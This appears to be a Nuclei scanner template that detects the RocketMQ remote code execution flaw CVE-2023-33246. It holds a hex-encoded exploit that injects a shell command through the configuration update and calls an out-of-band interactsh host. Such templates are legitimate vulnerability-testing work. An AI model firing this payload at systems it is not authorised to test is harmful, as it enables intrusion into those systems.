id: CVE-2023-33246 info: name: RocketMQ <= 5.1.0 - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: critical description: | For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x . remediation: Update the RocketMQ application to version 5.1.1 reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-33246 - https://github.com/I5N0rth/CVE-2023-33246 - http://packetstormsecurity.com/files/173339/Apache-RocketMQ-5.1.0-Arbitrary-Code-Injection.html - http://www.openwall.com/lists/oss-security/2023/07/12/1 - https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-33246 cwe-id: CWE-94 epss-score: 0.95581 cpe: cpe:2.3:a:apache:rocketmq:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: apache product: rocketmq shodan-query: title:"RocketMQ" fofa-query: protocol="rocketmq" tags: cve,cve2023,rocketmq,rce,oast,intrusive,network variables: part_a: '{{ hex_decode ("000000d2000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f206375726c20") }}' part_b: '{{ hex_decode("3b0a") }}' tcp: - host: - "{{Hostname}}" port: 10911 inputs: - data: '{{ part_a + "{{interactsh-url}}" + "/////////////" + part_b }}' read: 1024 read-size: 4 matchers: - type: dsl dsl: - contains(raw,'serializeTypeCurrentRPC') - contains(interactsh_protocol,'dns') condition: and